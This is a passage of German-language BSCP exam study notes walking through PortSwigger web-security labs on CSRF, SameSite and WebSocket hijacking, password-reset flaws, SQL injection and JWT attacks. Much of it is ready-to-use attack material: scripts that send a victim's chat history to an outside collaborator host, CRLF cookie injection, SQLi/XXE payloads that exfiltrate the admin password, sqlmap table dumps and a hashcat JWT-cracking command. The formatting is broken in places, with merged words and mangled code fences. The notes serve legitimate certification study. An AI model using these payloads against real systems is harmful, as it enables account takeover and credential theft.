>Das Hinzufügen der ursprünglichen Domäne des Ziels und das Anhängen von `history.pushState('', '', '/?TARGET.net');` an den **Referer-Header** in Form einer Query-String ermöglicht es, die E-Mail-Änderung zu übernehmen.```html
Referrer-Policy: unsafe-url
Hinweis: Anders als bei der normalen Schreibweise des Referer-Headers muss das Wort "referrer" im obigen
head-Abschnitt des Exploit-Servers korrekt geschrieben werden.
``` >Wenn der obige Exploit-Payload an das Opfer geliefert wird, ändert der CSRF-POC-Payload die E-Mail des Opfers auf **[email protected]**, da der Referer-Header das Ziel in seinem Wert enthielt. Beachten Sie in der ***BSCP***-Prüfung Ihre ```hacker@exploit```-Server-E-Mail-Adresse, um sie bei der Kontoübernahme zu verwenden.Erstellen Sie einen CSRF-Proof-of-Concept-Exploit und hosten Sie ihn auf dem Exploit-Server. Bearbeiten Sie das JavaScript so, dass das dritte Argument der history.pushState()-Funktion eine Query-String mit der Ziel-URL enthält.```html
PortSwigger Lab: CSRF mit defekter Referer-Validierung
``` >Dies ist ein interaktiver Exploit, und in der BSCP-Prüfung kann er, falls der Exploit der Stufe 1 nicht interaktiv war, verwendet werden, um eine Administratorinteraktion zu erreichen, indem sie auf den Link klickt, um ihr Passwort zu ändern. Hinweis: Prüfen Sie den `source code` der Seite zum Ändern der E-Mail auf zusätzliche Formular-ID-Werte.In der E-Mail-Aktualisierungsanfrage zeigt die Antwort beim Ändern des
referer-HeadersInvalid referer headeran, was eine CSRF-Schwachstelle identifiziert. Durch die Verwendung von<meta name="referrer" content="no-referrer">als Teil des CSRF-POC des Exploit-Servers kann diese Kontrolle umgangen werden. Dies weist den Exploit-Server an, den Exploit ohnereferer-Header an das Opfer zu liefern.```html
PortSwigger Lab: CSRF, bei dem die Referer-Validierung davon abhängt, dass ein Header vorhanden ist
Identifizieren Sie die CSRF-Schwachstelle, bei der das Token nicht an ein Nicht-Sitzungs-Cookie gebunden ist, indem Sie das csrfkey-Cookie ändern und das Ergebnis beobachten, dass die Anfrage abgelehnt wird. Beachten Sie den LastSearchTerm-Cookie-Wert, der die vom Benutzer eingegebenen Daten aus dem Suchparameter enthält.
Die Suchfunktion hat keinen CSRF-Schutz; erstellen Sie das unten stehende Payload, das neue Zeilenzeichen
%0d%0ainjiziert, um einen neuen Cookie-Wert in der Antwort zu setzen, und verwenden Sie dies, um Cookies in den Browser des Opfers zu injizieren.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>Generieren Sie einen CSRF-POC, aktivieren Sie die Option zum Einschließen eines **auto-submit**-Skripts und klicken Sie auf **Regenerieren**. Entfernen Sie den **auto-submit**-Skriptcodeblock, fügen Sie stattdessen Folgendes hinzu und platzieren Sie den ```history.pushState```-Skriptcode unterhalb des Body-Headers. Das **onerror**-Attribut des IMG-SRC-Tags sendet stattdessen den CSRF-POC ab.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
Während der BSCP Prüfung setzen Sie den E-Mail-Änderungswert auf die E-Mail-Adresse des Exploit-Servers [email protected]. Danach können Sie das Administrator-Passwort mit der Reset-Funktion ändern.
Im untenstehenden CSRF-PoC-Code ist der versteckte csrf-Wert derjenige, der von der E-Mail-Ändern-Funktion generiert wird, und der csrfkey-Wert im
img srcist der Wert des Opfers, der durch Anmelden als Opfer mit den bereitgestellten Anmeldedaten erhalten wurde. Nicht sicher, ob in der Prüfung, aber in der realen Welt ist dies ein durchzuführender Test.```html
Im Ziel erkennen wir, dass das CSRF-Schlüsseltoken im Cookie-Wert dupliziert ist. Ein weiterer Indikator ist, dass das Cookie
LastSearchTermden durchsuchten Wert enthält. Indem wir einen Suchwert angeben, der%0d%0aenthält, können wir Zeilenende- und Zeilenvorschub-Zeichen injizieren, um ein neues CSRF-Cookie und einen neuen Wert zu erstellen.
Im Exploit-Code setzen wir im
img src-Tag das Cookie für csrf auf fake.```html
PortSwigger Lab: CSRF, bei dem das Token im Cookie dupliziert wird
Das Ändern des Werts des Parameters
csrfführt dazu, dass die E-Mail-Änderungsanfrage abgelehnt wird. Das Löschen des CSRF-Tokens führt dazu, dass die E-Mail-Änderung akzeptiert wird, und dies zeigt, dass die Validierung des Vorhandenseins des Tokens anfällig ist.
``` CSRF-PoC-Payload, gehostet auf dem Exploit-Server:```html
PortSwigger-Labor: CSRF, bei der die Token-Validierung davon abhängt, ob das Token vorhanden ist
Wenn ein Cookie mit dem Namen isloggedin identifiziert wird, dann könnte eine POST-Anfrage zum Aktualisieren des Admin-Passworts ausgenutzt werden.
Ändern Sie den Parameter username auf administrator, während Sie als Benutzer mit geringen Rechten angemeldet sind.
Das CSRF-Token ist nicht an die Benutzersitzung gebunden.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator
### CSRF ohne Schutzmaßnahmen
>Ein Ziel ohne Schutzmaßnahmen gegen die E-Mail-Änderungsfunktion kann die Privilegienerweiterung auf die Admin-Rolle ermöglichen. In der Prüfung kann das Ändern der E-Mail-Adresse auf die `[email protected]`-Adresse auf dem Exploit-Server dem Angreifer ermöglichen, das Passwort des Admin-Benutzers zu ändern, was zu einer Privilegienerweiterung führt.
>In der Prüfung gibt es nur ***einen*** aktiven Benutzer, und wenn die vorherige Stufe mit einem Angriff abgeschlossen wurde, der nicht erforderte, dass der aktive Benutzer auf einen Link klickt – etwa durch Cache-Poisoning oder einen Phishing-Angriff über die Funktion `Deliver to Victim` –, kann der CSRF-Änderungs-Exploit verwendet werden.
[PortSwigger Lab: CSRF-Schwachstelle ohne Schutzmaßnahmen](https://portswigger.net/web-security/csrf/lab-no-defenses)
### SameSite-Strict-Bypass
>In der Live-Chat-Funktion fällt auf, dass die `GET /chat HTTP/2`-Anfrage keine unvorhersehbaren Tokens verwendet. Dies kann eine mögliche [Cross-Site-WebSocket-Hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH)-Schwachstelle ***identifizieren***, wenn es möglich ist, die [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions)-Cookie-Einschränkung zu umgehen.
>Hosten Sie auf dem Exploit-Server eine POC-Payload, um die CSWSH-Schwachstelle zu ***identifizieren***.```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Das
SameSite=Strictist für Session-Cookies gesetzt und verhindert, dass der Browser diese Cookies in XSS-Cross-Site-Anfragen einbezieht. Wir identifizieren den HeaderAccess-Control-Allow-Originin zusätzlichen Anfragen für Skripte und Bilder an eine Subdomain untercms-.
Das Aufrufen dieser CDN-Subdomain untercms-und das anschließende Feststellen, dass die Eingabe eines zufälligen Benutzernamens reflektiert wird, bestätigten, dass es sich um eine reflected XSS Schwachstelle handelt.
cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>Umgehen Sie die SameSite-Einschränkungen, indem Sie das gesamte Skript unten URL-kodieren und es als Eingabe für den Login mit dem Benutzernamen `cms-` auf der CDN-Subdomain verwenden, die auf dem Exploit-Server gehostet wird.```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Hosten Sie das Folgende auf dem Exploit-Server und liefern Sie es an das Opfer aus. Sobald der Collaborator den Chatverlauf des Opfers mit dessen Passwort erhält, führt dies zur Übernahme des Kontos.```
>Der Chatverlauf enthält das Passwort des Opfers.
[PortSwigger Lab: SameSite Strict Bypass über eine Schwester-Domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### SameSite-Lax-Bypass
>Beobachte, dass ein Besuch von `/social-login` automatisch den vollständigen OAuth-Ablauf auslöst. Wenn du noch eine angemeldete Sitzung mit dem OAuth-Server hast, geschieht dies alles ohne jede Interaktion., und im Proxy-Verlauf fällt auf, dass die Zielseite bei jedem Abschluss des OAuth-Ablaufs ein neues Sitzungscookie setzt, selbst wenn du bereits angemeldet warst.
>Umgehe den Popup-Blocker, um das Opfer dazu zu bringen, auf die Seite zu klicken, und öffne das Popup erst, nachdem das Opfer geklickt hat, mit dem folgenden JavaScript. Der Exploit-JavaScript-Code aktualisiert zuerst die Sitzung des Opfers, indem er den Browser zwingt, `/social-login` zu besuchen, und sendet dann nach einer kurzen Pause die E-Mail-Änderungsanfrage. Übermittle den Exploit an das Opfer.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
PortSwigger Lab: SameSite Lax bypass via cookie refresh
Fehlerhafte Passwort-Refresh-Logik
Aktuelles Passwort
Zeitsensitive Passwort-Tokenz
Wenn die Funktion Passwort-Refresh der Anwendung fehlerhaft ist, kann diese Schwachstelle ausgenutzt werden, um gültige Konten zu identifizieren oder ein Passwort-Reset-Token zu erhalten. Dies kann zur Identifizierung gültiger Benutzerkonten oder zur Rechteausweitung führen.
Dies ist die Art von Schwachstelle, die keinen aktiven Benutzer in der Anwendung erfordert, der mit dem Exploit interagiert, und ohne dass ein Benutzer auf einen Link klickt oder interagiert. Merken Sie sich Schwachstellen, die keinen aktiven Benutzer in der Anwendung erfordern, für die BSCP-Prüfung, da dies bedeutet, dass es in der nächsten Stufe der Prüfung möglich ist, beispielsweise andere interaktive Phishing-Links zu verwenden, die an das Opfer gesendet werden.
Identifizieren Sie im
Quellcodeder Seite/forgot-password, dass der Benutzername ein verstecktes Feld ist.
Nutzen Sie die POST-Anfrage aus, indem Sie den Parameter
temp-forgot-password-tokensowohl in der URL als auch im Anfragetext löschen. Ändern Sie den Benutzername-Parameter zucarlos.
PortSwigger Lab: Password reset broken logic
Identifizieren Sie, dass die Passwortänderung den Parameter
current-passwordnicht benötigt, um ein neues Passwort festzulegen, und dass der Benutzer, dessen Passwort geändert wird, auf dem POST-Parameterusername=administratorbasiert.
In den PortSwigger-Labs erhalten Sie die Anmeldedaten fürwiener:peter, und dies simuliert in der Prüfungsstufe 1 einen erreichten Benutzerzugriff mit niedrigen Rechten. In der Prüfung ist diese Passwort-Reset-Schwachstelle ein Beispiel dafür, wie es ohne Interaktion eines aktiven Benutzers möglich ist, Ihre Zugriffsrechte auf Admin auszuweiten.
Fangen Sie die Anfrage an
/my-account/change-passwordab, da dascsrf-Token ein einmaliger zufälliger Wert ist, setzen Sieusername=administratorund entfernen Sie den Parametercurrent-password.
PortSwigger Lab: Weak isolation on dual-use endpoint
Die Zielseite verwendet Zeitstempel, um eine Hash-Passwort-Reset-Token-URL zu generieren.
Durch das parallele Senden erzwungener Passwort-Reset-Anfragen für zwei verschiedene Benutzer zur gleichen Zeit,
entstehen doppelte übereinstimmende Token, da der Backend-Server denselben Zeitstempel zur Generierung der Reset-Tokenz verwendet.
Unser eigener Benutzer
carloserhält die Reset-Token-URL in seiner E-Mail und ändert dann den Namen in der URL, sodass er mit dem Ziel-Benutzeradministratorübereinstimmt.
Referenz: Studiennotizen von API University und PortSwigger Labs
Blinde Zeitverzögerung
Blind SQLi
Blind SQLi ohne Hinweis
Blind SQLi mit bedingter Antwort
Oracle
SQLMAP
Manuelles SQLi (nicht Oracle)
Visuelles fehlerbasiertes SQLi
HackTheBox CPTS SQLi-Grundlagen
Fehlerbasierte oder blinde SQL-Injection-Schwachstellen ermöglichen es, SQL-Abfragen in einer Anwendung zu verwenden, um Daten oder Anmeldedaten aus der Datenbank zu extrahieren. SQLMAP wird verwendet, um den Exploit zu beschleunigen und die sensiblen Informationen abzurufen.
Identifizieren Sie SQLi, indem Sie ein doppeltes (") oder einfaches Anführungszeichen (') zu Web-Parametern oder Tracking-Cookies hinzufügen. Wenn dies die SQL-Syntax bricht und eine Fehlermeldung als Antwort erzeugt, ist eine positive SQL-Injection identifiziert. Wenn kein Fehler oder keine bedingte Nachricht beobachtet wird, testen Sie blinde Zeitverzögerungen-Payloads.
Beispiele für SQL-Injection-Spickzettel
Blinde SQL-Injection mit Zeitverzögerungen ist schwierig zu identifizieren; Fuzzing erfordert fundiertes Raten, wie mir OffSec auch im OSCP beigebracht hat. Das folgende Payload führt eine bedingte Fallunterscheidung aus, um die Antwort um 10 Sekunden zu verzögern, wenn eine positive SQL-Injection identifiziert wird.
Identifizieren Sie die SQLi-Schwachstelle. In der Burp-Übungsprüfung Stufe 2 sind die erweiterten Suchfilter anfällig für
PostgreSQL. Ich fandSQLMAPschwierig, um die Schwachstelle der Übungsprüfung in der erweiterten Suche zu identifizieren und auszunutzen. Manueller Exploit der SQL-Injection-Zeitverzögerung in Übungsprüfung hier.```SQL ;SELECT CASE WHEN (1=1) THEN pg_sleep(7) ELSE pg_sleep(0) END--
>[URL-kodiert](https://www.urlencoder.org/) `PostgreSQL` Payload.```SQL
'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END--
Ermitteln Sie, wie viele Zeichen das Passwort des Administrator-Benutzers enthält. Erhöhen Sie dazu die Zahl nach der
>1-Bedingungsprüfung.```SQL ;SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
>Verwendung des CLUSTER-Bomb-Angriffs, um den Angriff für jede Permutation der Zeichenpositionen im Passwort erneut auszuführen und den Zeichenwert zu bestimmen.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
Verwenden Sie den Angriffstyp CLUSTER bomb mit zwei Payloads, zuerst für die Länge des Passworts
1..20und dann mit Zeichena..zund Zahlen0..9. Fügen Sie die Spalte Response Received zu den Intruder-Angriffsergebnissen hinzu, um danach zu sortieren, und beobachten Sie die10Sekunden oder mehr Verzögerung als positive Antwort.
PortSwigger Lab: Blinde SQL-Injection mit Zeitverzögerungen und Informationsabruf
In der Burp-Übungsprüfung Stufe 2 wird die SQL-Injection nicht mit einem einfachen Anführungszeichen
'ausgeführt, sondern mit einem Semikolon;und dann als%3BURL-kodiert.```SQL %3BSELECT+pg_sleep(7)--
>Mit einem Intruder-CLUSTER-Bomb-Angriff kann das Passwort in einem einzigen Angriff mit zwei Payload-Positionen im untenstehenden Payload extrahiert werden.```SQL
;SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,§1§,1)='§a§')+THEN+pg_sleep(7)+ELSE+pg_sleep(0)+END+FROM+users--
Stufe 3 des Admin-Portals der Burp-Practice-Prüfung erfordert die Ausnutzung eines Cookie-Werts mit unsicherer Deserialisierung.
Das Ziel ist anfällig für Out-of-Band-Datenexfiltration mithilfe einer Blind-SQL-Exploitation-Abfrage. In diesem Fall das trackingID-Cookie. Nachfolgend eine Kombination aus SQL-Injection- und XXE-Payload, um die Schwachstelle auszunutzen und das Administrator-Passwort als DNS-Anfrage an den Collaborator-Dienst zu senden.```sql TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f>+%25remote%3b]>'),'/l')+FROM+dual--
[PortSwigger Lab: Blinde SQL-Injection mit Out-of-Band-Datenexfiltration](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)
>Die obige SQL-Payload kann auch verwendet werden, um das Administrator-Passwort für diese [PortSwigger Lab: Blinde SQL-Injection mit bedingten Fehlern](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) Herausforderung zu extrahieren.
### Blinde SQLi ohne Anzeichen
>Das Setzen eines einzelnen Anführungszeichens am Ende des ```trackingid```-Cookies oder des Suchparameters `/search_advanced?searchTerm='` kann die Antwort `500 Internal Server Error` hervorrufen. Stellen Sie eine fundierte Vermutung an, indem Sie die untenstehende Blind-SQLi-Payload verwenden und mit der grundlegenden XXE-Technik kombinieren. Dies führt zu einem Aufruf an den Collaboration-Server, aber es werden keine Daten exfiltriert.```sql
TrackingId=xxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//OASTIFY.COM/">+%25remote%3b]>'),'/l')+FROM+dual--
Zusätzliches SQLi-Payload mit XML als Referenz mit
||, dem SQL-Verkettungsoperator, um zwei Ausdrücke zu verketten, die zu zwei Zeichendatentypen oder zu einem numerischen Datentyp ausgewertet werden, und etwas zu verschleiern.``` '||(select extractvalue(xmltype('%fuzz;]>'),'/l') from dual)||'
[OAST - Out-of-band Application Security Testing](https://portswigger.net/burp/application-security-testing/oast)
[PortSwigger Lab: Blind SQL injection with out-of-band interaction](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)
### Blinde SQLi: bedingte Antwort
>Diese blinde SQL-Injection wird ***identifiziert*** durch einen kleinen Unterschied in der Nachricht der Antworten. Wenn eine gültige, wahre SQL-Abfrage gesendet wird, enthält die Antwort den String ```Welcome back```. Eine ungültige, falsche SQL-Abfrageanweisung enthält die bedingte Nachricht nicht in der Antwort.```
' AND '1'='1
Falsche SQL-Anweisung, um zu identifizieren, dass die bedingte Nachricht nicht in der Antwort enthalten ist.``` ' AND '1'='2
>Ermitteln Sie, wie viele Zeichen das Passwort des Administrator-Benutzers enthält. Ändern Sie dazu den Wert der SQL-Anweisung auf and in der **Registerkarte „Einstellungen“** des Intruders, im Abschnitt „Grep - Match“. Löschen Sie alle vorhandenen Einträge in der Liste, und fügen Sie dann den Wert ```Welcome back``` hinzu, um die wahre Bedingung zu ***identifizieren***.```
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
Der nächste Schritt besteht darin, das Zeichen an jeder Position zu testen, um seinen Wert zu bestimmen. Dies erfordert eine viel größere Anzahl von Anfragen.``` ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
>Alternativ einen **CLUSTER-Bomben**-Angriff verwenden und **zwei** Payload-Positionen setzen, die erste für die Zeichenposition mit einem Zahlen-Payload ```1..20``` und die zweite Position mit alphabetischen und numerischen Zeichen; so wird jede Permutation der Payload-Kombinationen durchlaufen.
[PortSwigger Lab: Blind SQL-Injection mit bedingten Antworten](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)
### Oracle
>Identifizierte SQL-Injection, indem ein **einfaches Anführungszeichen** an das Ende des `category`-Parameterwerts angehängt und die Antwort `500 Internal Server Error` beobachtet wurde.
>Rufen Sie die Liste der Tabellen in der Oracle-Datenbank ab:```
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Oracle-Payload zum Abrufen der Details der Spalten in der Tabelle.``` '+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_XXX'--
>Oracle-Payload zum Abrufen der Benutzernamen und Passwörter aus der Tabelle Users_XXX.```
'+UNION+SELECT+USERNAME_XXX,+PASSWORD_XXX+FROM+USERS_XXX--
PortSwigger Lab: SQL-Injection-Angriff, Auflisten der Datenbankinhalte auf Oracle
Im PortSwigger Practice Exam APP identifizieren wir SQLi in der erweiterten Suchfunktion, indem wir ein einzelnes Anführungszeichen hinzufügen, und die Antwort führt zu
HTTP/2 500 Internal Server Error.
Hier sind meine HackTheBox-CPTS-Studiennotizen zu SQLMAP-Beispielen zur Umgehung primitiver WAF-Schutzmechanismen. SQLMAP Essentials - Cases
Nach einigen Tests mit den SQLMAP-Versionen
1.7.2#stableund1.6habe ich festgestellt, dass beide in der Lage sind, die PortSwigger-Übungsprüfung auszunutzen. Walkthrough von bmdyy, der die Übungsprüfung mit SQLMAP durchführt als Referenz für die verwendeten Parameter.
PortSwigger-Forumsthread - SQLMAP
Ich habe die Übungsprüfung abgelegt und konnte SQLi mit dem untenstehenden Payload ausnutzen.``` sqlmap -u 'https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer=' \ -H 'authority: 0afd007004402dacc1e7220100750051.web-security-academy.net'
-H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7'
-H 'accept-language: en-US,en;q=0.9'
-H 'cookie: _lab=YesYesYesYes; session=YesYesYesYes'
-H 'referer: https://TARGET.net/filtered_search?SearchTerm=x&sort-by=DATE&writer='
-H 'sec-fetch-dest: document'
-H 'sec-fetch-mode: navigate'
-H 'sec-fetch-site: same-origin'
-H 'sec-fetch-user: ?1'
-H 'upgrade-insecure-requests: 1'
-H 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36'
-p 'sort-by' -batch --flush-session --dbms postgresql --technique E --level 5
>Dies ist auch ein guter Einstieg mit SQLMAP, um eine sensible, fehlerbasierte SQL-Injection mit Zeitverzögerung in den erweiterten Suchfiltern der Prüfung zu ***identifizieren*** und Daten daraus zu extrahieren.```
sqlmap -v -u 'https://TARGET.NET/search?term=x&organizeby=DATE&journalist=&cachebust=1656138093.57' -p "term" --batch --cookie="_lab=YESYESYESYES; session=YESYESYESYES" --random-agent --level=2 --risk=2
SQLMAP DBS zum Abrufen von Datenbanken.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs
>Verwenden Sie SQLMAP, um die in der `public`-Datenbank identifizierten Tabellen zu dumpen.```
-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables
Verwenden Sie weiterhin die SQLMAP-
E-Technik, um den Inhalt vonuserszu erhalten.``` -p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump
### Manuelles SQLi ohne Oracle
>SQL-Injection-UNION-Angriff, Bestimmung der **Anzahl der Spalten**, die von der Abfrage zurückgegeben werden.```SQL
'+UNION+SELECT+NULL,NULL--
Festgestellt, dass zwei Spalten zurückgegeben werden. Finden einer Spalte, die
textenthält, um extrahierte Informationen widerzuspiegeln.```SQL '+UNION+SELECT+'fuzzer',NULL--
>Als Nächstes ***identifizieren*** Sie eine Liste von **Tabellen** in der Datenbank.```SQL
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
OPTIONAL: Rufen Sie Daten aus anderen Tabellen ab, indem Sie den untenstehenden Code als Payload verwenden, um den Inhalt der Tabelle
usersabzurufen.```SQL '+UNION+SELECT+username,+password+FROM+users--
>Rufen Sie die Namen der **Spalten** in der ***users***-Tabelle ab.```SQL
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_XXXX'--
Letzter Schritt ist das Dumpen der Daten aus den Spalten für Benutzername und Passwörter.```SQL '+UNION+SELECT+username_XXXX,+password_XXXX+FROM+users_XXXX--
>**EXTRA:** Wenn Sie nur eine Spalte haben, aus der Sie Textdaten extrahieren möchten, verketten Sie mehrere Werte in einem einzelnen reflektierten Ausgabefeld mithilfe der SQL-Syntax ```||```-Zeichen aus der Datenbank.```
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
PortSwigger Lab: SQL-Injection-Angriff, Auflisten der Datenbankinhalte auf Nicht-Oracle-Datenbanken
Indem wir am Ende des
TrackingId-Cookie-Werts ein einzelnes Anführungszeichen hinzufügen, können wir die SQL-Injection anhand der Nachricht in der Antwort identifizieren und bestätigen.
Die beiden Payloads bestätigen, dass der Administrator-Datensatz der erste Datensatz ist, und rufen dann das Passwort für das Administrator-Konto aus der Tabelle
userin der Datenbank ab, aus den Spaltenusernameundpassword.``` TrackingId=x'||CAST((SELECT username FROM users LIMIT 1) AS int)--;
TrackingId=x'||CAST((SELECT password FROM users LIMIT 1) AS int)--;
>Aufgrund der Begrenzung der Cookie-Wertlänge wird die Payload durch die Verwendung von `limit 1` verkürzt und der eigentliche Cookie-Wert durch nur einen Buchstaben `x` ersetzt. Die SQL-Injection nutzt die [CAST-Funktion](https://portswigger.net/web-security/sql-injection/blind).
[PortSwigger-Lab: Sichtbare fehlerbasierte SQL-Injection](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)
-----
## JWT
[JWT-Bypass über JWK](#manual-sqli)
[JWT schwaches Geheimnis](#jwt-weak-secret)
[JWT-kid-Header](#jwt-kid-header)
[JWT beliebiger jku-Header](#jwt-arbitrary-jku-header)
>JSON-Web-Tokens (JWTs) werden verwendet, um kryptografisch signierte JSON-Daten zu senden, und am häufigsten dazu, Informationen („Claims") über Benutzer im Rahmen von Authentifizierung, Sitzungsverwaltung und Zugriffskontrolle zu übertragen.
### JWT-Bypass über JWK
>Der Burp-Scanner ***identifiziert*** eine Schwachstelle im Server als **JWT selbstsignierter JWK-Header unterstützt**. Es ist möglich, diese durch eine fehlgeschlagene Prüfung der bereitgestellten Schlüsselquelle auszunutzen.
>**jwk (JSON Web Key)** – Stellt ein eingebettetes JSON-Objekt bereit, das den Schlüssel repräsentiert.
>Schritte zum Ausnutzen des Authentifizierungs-Bypasses über die jwk-Header-Injection:
1. Neuen RSA-Schlüssel erstellen
2. In der JWT-Payload der Anfrage den Wert des **sub-Claims** auf administrator ändern
3. Attack auswählen, dann **Embedded JWK** mit dem neu generierten RSA-Schlüssel auswählen
4. Beachten, dass ein ```jwk```-Parameter nun unseren öffentlichen Schlüssel enthält; das Senden der Anfrage führt zu Zugriff auf das Admin-Portal
[PortSwigger-Lab: JWT-Authentifizierungs-Bypass über jwk-Header-Injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection)
### JWT schwaches Geheimnis
>Schwachen JWT-Signaturschlüssel mit `hashcat` per Brute-Force angreifen.```bash
hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list
Das Hashcat-Ergebnis liefert das Geheimnis, das zur Erzeugung eines gefälschten Signaturschlüssels verwendet werden soll.
PortSwigger JWT-Authentifizierungsumgehung über einen schwachen Signaturschlüssel
JWT-basierter Mechanismus zur Verwaltung von Sitzungen. Um die Signatur zu überprüfen, verwendet der Server den Parameter
kidim JWT-Header, um den relevanten Schlüssel aus seinem Dateisystem abzurufen.
Generieren Sie einen neuen symmetrischen Schlüssel und ersetzen Sie die Eigenschaftkdurch das Base64-NullbyteAA==, das beim Signieren des JWT verwendet werden soll.
kid (Key-ID) - Stellt eine ID bereit, die Server verwenden können, um den richtigen Schlüssel zu identifizieren, wenn mehrere Schlüssel zur Auswahl stehen.
JWS``` { "kid": "../../../../../../../dev/null", "alg": "HS256" }
>Payload```
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1673523674
}
PortSwigger-Labor: JWT-Authentifizierungsumgehung via kid-Header-Pfad-Traversal
Der Burp-Scanner hat eine Schwachstelle identifiziert, die besagt, dass die Anwendung offenbar dem
jku-Header des im manuellen Einfügepunkt gefundenen JWT vertraut. Er hat einen öffentlichen Schlüssel von einer beliebigen URL abgerufen, die in diesem Header angegeben ist, und versucht, ihn zur Verifizierung der Signatur zu verwenden.
jku (JSON Web Key Set URL) – Stellt eine URL bereit, von der Server Schlüssel abrufen können, die den korrekten Schlüssel enthalten.
Exploit-Schritte: Laden Sie ein bösartiges JWK-Set hoch, ändern und signieren Sie dann das JWT:
{ "keys": [ ] }.[ paste ].kid-Wert des JWT-Headers der /admin-Anfrage.jku-Parameter auf den Wert der Exploit-Server-URL https://exploit-server.net/exploit.sub-Claims auf administrator./admin-Anfrage im Repeater unten im JSON-Web-Token-Tab auf Sign.RSA signing key aus, der in den vorherigen Schritten generiert wurde.
Der Exploit-Server, der den Inhalt des öffentlichen JWK-Schlüssels hostet.```JSON { "keys": [ { "kty": "RSA", "e": "AQAB", "kid": "3c0171bd-a8cf-45b5-839f-645fa2a57009", "n": "749eJdyiwAYYVV F8tsQ_zu23DhdoePay3JlYXmza9DWDw" } ]}
[PortSwigger Lab: JWT-Authentifizierungs-Bypass über jku-Header-Injection](https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection)
-----
## ProtoType Pollution
>Angreifer fügen beliebige Eigenschaften zu globalen JavaScript-Objektprototypen hinzu, die von benutzerdefinierten Objekten geerbt werden und zu clientseitigem DOM-XSS oder serverseitiger Codeausführung führen.
[Client-Side Proto](#client-side-proto)
[Server-Side Proto](#server-side-proto)
[Prototype Pollution in DOM Invader aktivieren](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/prototype-pollution#enabling-prototype-pollution)
### Client-Side Proto
